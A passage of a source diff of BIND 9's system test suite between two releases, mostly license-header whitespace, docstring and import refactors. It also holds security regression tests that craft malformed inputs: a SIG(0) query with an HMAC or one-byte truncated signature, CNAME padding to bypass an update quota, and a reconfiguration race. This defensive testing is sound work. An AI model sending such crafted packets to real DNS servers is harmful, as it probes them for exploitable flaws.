"_common/options.conf.j2" %} recursion no; notify no; + sig0checks-quota 0; }; {% include "_common/controls.conf.j2" %} view "v1" { match-clients { any; }; + zone "." { type hint; file "/dev/null"; }; + + zone "example2" { + type primary; + file "example2.db"; + allow-query { key sig0.example2.; }; + }; }; diff -Nru bind9-9.20.29/bin/tests/system/sig0/tests_hmac_sig0.py bind9-9.20.30/bin/tests/system/sig0/tests_hmac_sig0.py --- bind9-9.20.29/bin/tests/system/sig0/tests_hmac_sig0.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/sig0/tests_hmac_sig0.py 2026-10-12 13:12:08.273897046 +0000 @@ -0,0 +1,75 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import struct + +import dns.flags +import dns.message +import dns.name +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +import isctest + + +def make_sig0_query(qname_str, key_name_str, truncate_sig): + root = dns.name.from_text(".") + qname = dns.name.from_text(qname_str) + query = dns.message.make_query(qname, dns.rdatatype.A) + query.flags |= dns.flags.RD + + # Constants so that they don't affect the signature + query.id = 1234 + key_tag = 11622 + expiration = 0x7FFFFFFF + inception = 0 + signer_name = dns.name.from_text(key_name_str) + # Precalculated HMAC + signature = bytes.fromhex( + "c5bc8e6b21adca9245d1c9e03324ff30d9fb2ef095e9212ea386161a19f5d413" + ) + if truncate_sig: + signature = signature[0:1] + + # Construct SIG RDATA header (0=SIG(0), 163=HMACSHA256, 0=Labels) + sig_rdata_header = struct.pack( + "!HBBIIIH", 0, 163, 0, 0, expiration, inception, key_tag + ) + + sig_rdata_pre_sig = sig_rdata_header + signer_name.to_wire() + + # Create the SIG RR + full_sig_rdata = sig_rdata_pre_sig + signature + sig_rr = dns.rdata.from_wire( + dns.rdataclass.ANY, + dns.rdatatype.SIG, + full_sig_rdata, + 0, + len(full_sig_rdata), + ) + sig_rrset = dns.rrset.from_rdata(root, 0, sig_rr) + query.additional.append(sig_rrset) + + return query + + +# GL#6120: SIG(0) should not support HMAC, and even if it does, truncated +# signatures should not be accepted +def test_sig0_hmac(): + query_full = make_sig0_query("test.example2.", "sig0.example2.", False) + res = isctest.query.tcp(query_full, "10.53.0.1") + isctest.check.servfail(res) + + query_truncared = make_sig0_query("test.example2.", "sig0.example2.", True) + res = isctest.query.tcp(query_truncared, "10.53.0.1") + isctest.check.servfail(res) diff -Nru bind9-9.20.29/bin/tests/system/sig0/tests_sig0.py bind9-9.20.30/bin/tests/system/sig0/tests_sig0.py --- bind9-9.20.29/bin/tests/system/sig0/tests_sig0.py 2026-09-11 19:41:01.364327717 +0000 +++ bind9-9.20.30/bin/tests/system/sig0/tests_sig0.py 2026-10-12 13:12:08.274897068 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -32,7 +32,9 @@ def load_bind_private_key(filename): - """Parses a BIND 9 .private key file.""" + """ + Parses a BIND 9 .private key file. + """ with open(filename, "r", encoding="utf-8") as f: lines = f.readlines() diff -Nru bind9-9.20.29/bin/tests/system/sig0_https/tests_sig0_https.py bind9-9.20.30/bin/tests/system/sig0_https/tests_sig0_https.py --- bind9-9.20.29/bin/tests/system/sig0_https/tests_sig0_https.py 2026-09-11 19:41:01.364327717 +0000 +++ bind9-9.20.30/bin/tests/system/sig0_https/tests_sig0_https.py 2026-10-12 13:12:08.274897068 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/smartsign/tests_sh_smartsign.py bind9-9.20.30/bin/tests/system/smartsign/tests_sh_smartsign.py --- bind9-9.20.29/bin/tests/system/smartsign/tests_sh_smartsign.py 2026-09-11 19:41:01.364327717 +0000 +++ bind9-9.20.30/bin/tests/system/smartsign/tests_sh_smartsign.py 2026-10-12 13:12:08.274897068 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/sortlist/tests_sortlist.py bind9-9.20.30/bin/tests/system/sortlist/tests_sortlist.py --- bind9-9.20.29/bin/tests/system/sortlist/tests_sortlist.py 2026-09-11 19:41:01.365327740 +0000 +++ bind9-9.20.30/bin/tests/system/sortlist/tests_sortlist.py 2026-10-12 13:12:08.275897089 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -17,7 +17,9 @@ def test_sortlist(): - """Test two-element sortlist statement""" + """ + Test two-element sortlist statement + """ msg = dns.message.make_query("a.example.", "A") resp = isctest.query.tcp(msg, "10.53.0.1", source="10.53.0.1") sortlist = [ @@ -45,7 +47,9 @@ ], ) def test_sortlist_compat(possible_results, source_ip): - """Test one-element sortlist statement and undocumented BIND 8 features""" + """ + Test one-element sortlist statement and undocumented BIND 8 features + """ msg = dns.message.make_query("b.example.", "A") resp = isctest.query.tcp(msg, "10.53.0.1", source=source_ip) assert ( diff -Nru bind9-9.20.29/bin/tests/system/spf/tests_spf_zones.py bind9-9.20.30/bin/tests/system/spf/tests_spf_zones.py --- bind9-9.20.29/bin/tests/system/spf/tests_spf_zones.py 2026-09-11 19:41:01.365327740 +0000 +++ bind9-9.20.30/bin/tests/system/spf/tests_spf_zones.py 2026-10-12 13:12:08.275897089 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/srtt/ans2/ans.py bind9-9.20.30/bin/tests/system/srtt/ans2/ans.py --- bind9-9.20.29/bin/tests/system/srtt/ans2/ans.py 2026-09-11 19:41:01.365327740 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/ans2/ans.py 2026-10-12 13:12:08.275897089 +0000 @@ -1,19 +1,18 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries from ..srtt_ans import DelayedQnameRangeHandler diff -Nru bind9-9.20.29/bin/tests/system/srtt/ans3/ans.py bind9-9.20.30/bin/tests/system/srtt/ans3/ans.py --- bind9-9.20.29/bin/tests/system/srtt/ans3/ans.py 2026-09-11 19:41:01.365327740 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/ans3/ans.py 2026-10-12 13:12:08.275897089 +0000 @@ -1,19 +1,18 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries from ..srtt_ans import DelayedQnameRangeHandler diff -Nru bind9-9.20.29/bin/tests/system/srtt/ans4/ans.py bind9-9.20.30/bin/tests/system/srtt/ans4/ans.py --- bind9-9.20.29/bin/tests/system/srtt/ans4/ans.py 2026-09-11 19:41:01.365327740 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/ans4/ans.py 2026-10-12 13:12:08.276897110 +0000 @@ -1,19 +1,18 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries from ..srtt_ans import DelayedQnameRangeHandler diff -Nru bind9-9.20.29/bin/tests/system/srtt/ans5/ans.py bind9-9.20.30/bin/tests/system/srtt/ans5/ans.py --- bind9-9.20.29/bin/tests/system/srtt/ans5/ans.py 2026-09-11 19:41:01.366327764 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/ans5/ans.py 2026-10-12 13:12:08.276897110 +0000 @@ -1,19 +1,18 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries from ..srtt_ans import DelayedQnameRangeHandler diff -Nru bind9-9.20.29/bin/tests/system/srtt/srtt_ans.py bind9-9.20.30/bin/tests/system/srtt/srtt_ans.py --- bind9-9.20.29/bin/tests/system/srtt/srtt_ans.py 2026-09-11 19:41:01.366327764 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/srtt_ans.py 2026-10-12 13:12:08.276897110 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -19,10 +17,12 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, QnameQtypeHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Qname, Qtype -class DelayedQnameRangeHandler(QnameQtypeHandler): +class DelayedQnameRangeHandler(ResponseHandler): """ Respond to queries for QNAMEs "foo1.example." through "foo.example." with QTYPE=A, where must be defined by the subclass. Every response is @@ -30,11 +30,10 @@ by the subclass. """ - @property - def qnames(self) -> list[str]: - return [f"foo{x}.example." for x in range(1, self.max_qname + 1)] - - qtypes = [dns.rdatatype.A] + def __init__(self) -> None: + self.matcher = Qname( + *(f"foo{x}.example." for x in range(1, self.max_qname + 1)) + ) & Qtype(dns.rdatatype.A) @property @abc.abstractmethod diff -Nru bind9-9.20.29/bin/tests/system/srtt/tests_srtt.py bind9-9.20.30/bin/tests/system/srtt/tests_srtt.py --- bind9-9.20.29/bin/tests/system/srtt/tests_srtt.py 2026-09-11 19:41:01.366327764 +0000 +++ bind9-9.20.30/bin/tests/system/srtt/tests_srtt.py 2026-10-12 13:12:08.276897110 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ssumaxtype/tests_ssumaxtype.py bind9-9.20.30/bin/tests/system/ssumaxtype/tests_ssumaxtype.py --- bind9-9.20.29/bin/tests/system/ssumaxtype/tests_ssumaxtype.py 2026-09-11 19:41:01.367327788 +0000 +++ bind9-9.20.30/bin/tests/system/ssumaxtype/tests_ssumaxtype.py 2026-10-12 13:12:08.277897132 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -47,7 +47,9 @@ def make_update(): - """Create a TSIG-signed UpdateMessage for the example zone.""" + """ + Create a TSIG-signed UpdateMessage for the example zone. + """ return dns.update.UpdateMessage( "example.", keyring=KEYRING, @@ -57,7 +59,9 @@ def count_txt(ns1, name): - """Query for TXT records at name and return the count.""" + """ + Query for TXT records at name and return the count. + """ msg = isctest.query.create(name, "TXT") try: res = isctest.query.udp(msg, ns1.ip, port=ns1.ports.dns, attempts=3) @@ -70,7 +74,9 @@ def test_ssu_max_basic(ns1): - """Verify that update-policy max limit is enforced for normal updates.""" + """ + Verify that update-policy max limit is enforced for normal updates. + """ # Add 4 TXT records; policy allows max 3 up = make_update() up.add("basic.example.", 300, "TXT", "record1") @@ -83,7 +89,9 @@ def test_ssu_max_across_updates(ns1): - """Quota is enforced across multiple UPDATE messages.""" + """ + Quota is enforced across multiple UPDATE messages. + """ # Fill up to the limit up = make_update() up.add("multi.example.", 300, "TXT", "first") @@ -100,7 +108,9 @@ def test_ssu_max_cname_padding_bypass(ns1): - """CNAME-conflict padding must not shift the maxbytype counter.""" + """ + CNAME-conflict padding must not shift the maxbytype counter. + """ # 4 CNAME+A padding pairs: the A records will be silently skipped # because a CNAME already exists at each pad name. Without the fix, # this shifts the maxbytype counter by 4, causing the subsequent TXT @@ -126,7 +136,9 @@ def count_a(ns1, name): - """Query for A records at name and return the count.""" + """ + Query for A records at name and return the count. + """ msg = isctest.query.create(name, "A") try: res = isctest.query.udp(msg, ns1.ip, port=ns1.ports.dns, attempts=3) @@ -139,7 +151,9 @@ def test_max_records_per_type(ns1): - """Zone option max-records-per-type rejects updates that exceed the limit.""" + """ + Zone option max-records-per-type rejects updates that exceed the limit. + """ # Add 10 A records; zone allows max 10 per type up = dns.update.UpdateMessage("maxrrperset.") for i in range(1, 11): diff -Nru bind9-9.20.29/bin/tests/system/ssutoctou/tests_ssutoctou.py bind9-9.20.30/bin/tests/system/ssutoctou/tests_ssutoctou.py --- bind9-9.20.29/bin/tests/system/ssutoctou/tests_ssutoctou.py 2026-09-11 19:41:01.367327788 +0000 +++ bind9-9.20.30/bin/tests/system/ssutoctou/tests_ssutoctou.py 2026-10-12 13:12:08.277897132 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -40,7 +40,9 @@ def send_updates(ip, port, stop_event): - """Send DNS UPDATEs in a tight loop until stopped.""" + """ + Send DNS UPDATEs in a tight loop until stopped. + """ n = 0 while not stop_event.is_set(): n += 1 @@ -58,7 +60,9 @@ def toggle_config(ns1, templates, stop_event): - """Toggle zone config between allow-update and update-policy.""" + """ + Toggle zone config between allow-update and update-policy. + """ use_ssu = False while not stop_event.is_set(): use_ssu = not use_ssu @@ -71,7 +75,9 @@ def test_ssu_toctou_race(ns1, templates): - """Race rndc reconfig against DNS UPDATEs -- named must not crash.""" + """ + Race rndc reconfig against DNS UPDATEs -- named must not crash. + """ port = int(isctest.vars.ALL["PORT"]) stop = threading.Event() diff -Nru bind9-9.20.29/bin/tests/system/start.pl bind9-9.20.30/bin/tests/system/start.pl --- bind9-9.20.29/bin/tests/system/start.pl 2026-09-11 19:41:01.367327788 +0000 +++ bind9-9.20.30/bin/tests/system/start.pl 2026-10-12 13:12:08.278897153 +0000 @@ -100,6 +100,14 @@ my $PERL = $ENV{'PERL'}; my $PYTHON = $ENV{'PYTHON'}; +# Make the isctest package importable, for the standalone helper tools +# ($PYTHON -m isctest.tools.). +if (defined $ENV{'PYTHONPATH'}) { + $ENV{'PYTHONPATH'} = "$builddir:$ENV{'PYTHONPATH'}"; +} else { + $ENV{'PYTHONPATH'} = $builddir; +} + # Start the server(s) my @ns; @@ -173,7 +181,7 @@ my $tries = 0; while (1) { - my $return = system("$PERL $srcdir/testsock.pl -p $port $options"); + my $return = system("$PYTHON -m isctest.tools.testsock -p $port $options"); if ($return == 0) { last; @@ -254,7 +262,7 @@ $line =~ s/#.*$//; - $command .= $line; + $command .= $line." "; last; } @@ -264,8 +272,8 @@ foreach my $t_option( "dropedns", "ednsformerr", "ednsnotimp", "ednsrefused", - "cookiealwaysvalid", "noaa", "noedns", "nosoa", - "maxudp512", "maxudp1460", + "cookiealwaysvalid", "noaa", "noedns", "nonearest", + "nosoa", "maxudp512", "maxudp1460", "tat=1", "tat=3" ) { if (-e "$testdir/$server/named.$t_option") { $command .= "-T $t_option " @@ -288,6 +296,26 @@ # get the shell to report the pid of the server ($!) $command .= " echo \$!"; + my $env_file = $testdir . "/" . $server . "/" . "named.env"; + if (-e $env_file) { + my $env = "env "; + + open(my $fh, "<", $env_file) or die "unable to read env_file \"$env_file\" ($OS_ERROR)\n"; + + while(my $line=<$fh>) { + next if ($line =~ /^\s*$/); #discard blank lines + next if ($line =~ /^\s*#/); #discard comment lines + + chomp $line; + + $env .= $line." "; + + last; + } + + $command = $env . $command + } + return $command; } diff -Nru bind9-9.20.29/bin/tests/system/staticstub/tests_sh_staticstub.py bind9-9.20.30/bin/tests/system/staticstub/tests_sh_staticstub.py --- bind9-9.20.29/bin/tests/system/staticstub/tests_sh_staticstub.py 2026-09-11 19:41:01.370327860 +0000 +++ bind9-9.20.30/bin/tests/system/staticstub/tests_sh_staticstub.py 2026-10-12 13:12:08.281897217 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/statistics/ans4/ans.py bind9-9.20.30/bin/tests/system/statistics/ans4/ans.py --- bind9-9.20.29/bin/tests/system/statistics/ans4/ans.py 2026-09-11 19:41:01.370327860 +0000 +++ bind9-9.20.30/bin/tests/system/statistics/ans4/ans.py 2026-10-12 13:12:08.281897217 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -17,18 +15,14 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - IgnoreAllQueries, - QnameHandler, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import IgnoreAllQueries +from isctest.asyncserver.matchers import Qname -class FooInfoHandler(QnameHandler, IgnoreAllQueries): - qnames = ["foo.info."] +class FooInfoHandler(IgnoreAllQueries): + matcher = Qname("foo.info.") class FallbackHandler(ResponseHandler): diff -Nru bind9-9.20.29/bin/tests/system/statistics/tests.sh bind9-9.20.30/bin/tests/system/statistics/tests.sh --- bind9-9.20.29/bin/tests/system/statistics/tests.sh 2026-09-11 19:41:01.371327884 +0000 +++ bind9-9.20.30/bin/tests/system/statistics/tests.sh 2026-10-12 13:12:08.282897239 +0000 @@ -173,15 +173,27 @@ n=$((n + 1)) ret=0 +echo_i "checking truncated xml path is rejected ($n)" +if $FEATURETEST --have-libxml2 && "${CURL}" --http1.1 http://10.53.0.3:${EXTRAPORT1} >/dev/null 2>&1; then + ${CURL} --http1.1 -o curl.out.${n}.xsl http://10.53.0.3:${EXTRAPORT1}/bind9 2>/dev/null || ret=1 + grep "No such URL." curl.out.${n}.xsl >/dev/null || ret=1 +else + echo_i "skipping test as libxml2 and/or curl with HTTP/1.1 support was not found" +fi +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +n=$((n + 1)) + +ret=0 echo_i "checking bind9.xsl vs xml ($n)" if $FEATURETEST --have-libxml2 && "${CURL}" --http1.1 http://10.53.0.3:${EXTRAPORT1} >/dev/null 2>&1 && [ -x "${XSLTPROC}" ]; then $DIGCMD +notcp +recurse @10.53.0.3 soa . >dig.out.test$n.1 2>&1 $DIGCMD +notcp +recurse @10.53.0.3 soa example >dig.out.test$n.2 2>&1 # check multiple requests over the same socket - time1=$($PERL -e 'print time(), "\n";') + time1=$(date +%s) ${CURL} --http1.1 -o curl.out.${n}.xml http://10.53.0.3:${EXTRAPORT1}/xml/v3 \ -o curl.out.${n}.xsl http://10.53.0.3:${EXTRAPORT1}/bind9.xsl 2>/dev/null || ret=1 - time2=$($PERL -e 'print time(), "\n";') + time2=$(date +%s) test $((time2 - time1)) -lt 5 || ret=1 diff ${TOP_SRCDIR}/bin/named/bind9.xsl curl.out.${n}.xsl || ret=1 ${XSLTPROC} curl.out.${n}.xsl - xsltproc.out.${n} 2>/dev/null || ret=1 diff -Nru bind9-9.20.29/bin/tests/system/statistics/tests_sh_statistics.py bind9-9.20.30/bin/tests/system/statistics/tests_sh_statistics.py --- bind9-9.20.29/bin/tests/system/statistics/tests_sh_statistics.py 2026-09-11 19:41:01.372327908 +0000 +++ bind9-9.20.30/bin/tests/system/statistics/tests_sh_statistics.py 2026-10-12 13:12:08.283897260 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,7 +18,6 @@ "named.stats.*", "stats.xml.out", "xsltproc.out.*", - "ans*/ans.run", "ns*/statistics-channels.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/statschannel/__init__.py bind9-9.20.30/bin/tests/system/statschannel/__init__.py --- bind9-9.20.29/bin/tests/system/statschannel/__init__.py 2026-09-11 19:41:01.372327908 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/__init__.py 2026-10-12 13:12:08.283897260 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import pytest pytest.register_assert_rewrite("generic") diff -Nru bind9-9.20.29/bin/tests/system/statschannel/conftest.py bind9-9.20.30/bin/tests/system/statschannel/conftest.py --- bind9-9.20.29/bin/tests/system/statschannel/conftest.py 2026-09-11 19:41:01.372327908 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/conftest.py 2026-10-12 13:12:08.283897260 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/statschannel/generic.py bind9-9.20.30/bin/tests/system/statschannel/generic.py --- bind9-9.20.29/bin/tests/system/statschannel/generic.py 2026-09-11 19:41:01.372327908 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/generic.py 2026-10-12 13:12:08.283897260 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/statschannel/tests.sh bind9-9.20.30/bin/tests/system/statschannel/tests.sh --- bind9-9.20.29/bin/tests/system/statschannel/tests.sh 2026-09-11 19:41:01.374327956 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/tests.sh 2026-10-12 13:12:08.284897282 +0000 @@ -56,7 +56,7 @@ __retries=$((__retries - 1)) if [ "${__retries}" -gt 0 ]; then # sleep for 0.1 seconds - perl -e 'select(undef, undef, undef, .1)' + $PYTHON -c 'import time; time.sleep(0.1)' else return 1 fi diff -Nru bind9-9.20.29/bin/tests/system/statschannel/tests_json.py bind9-9.20.30/bin/tests/system/statschannel/tests_json.py --- bind9-9.20.29/bin/tests/system/statschannel/tests_json.py 2026-09-11 19:41:01.374327956 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/tests_json.py 2026-10-12 13:12:08.285897303 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/statschannel/tests_sh_statschannel.py bind9-9.20.30/bin/tests/system/statschannel/tests_sh_statschannel.py --- bind9-9.20.29/bin/tests/system/statschannel/tests_sh_statschannel.py 2026-09-11 19:41:01.374327956 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/tests_sh_statschannel.py 2026-10-12 13:12:08.285897303 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this 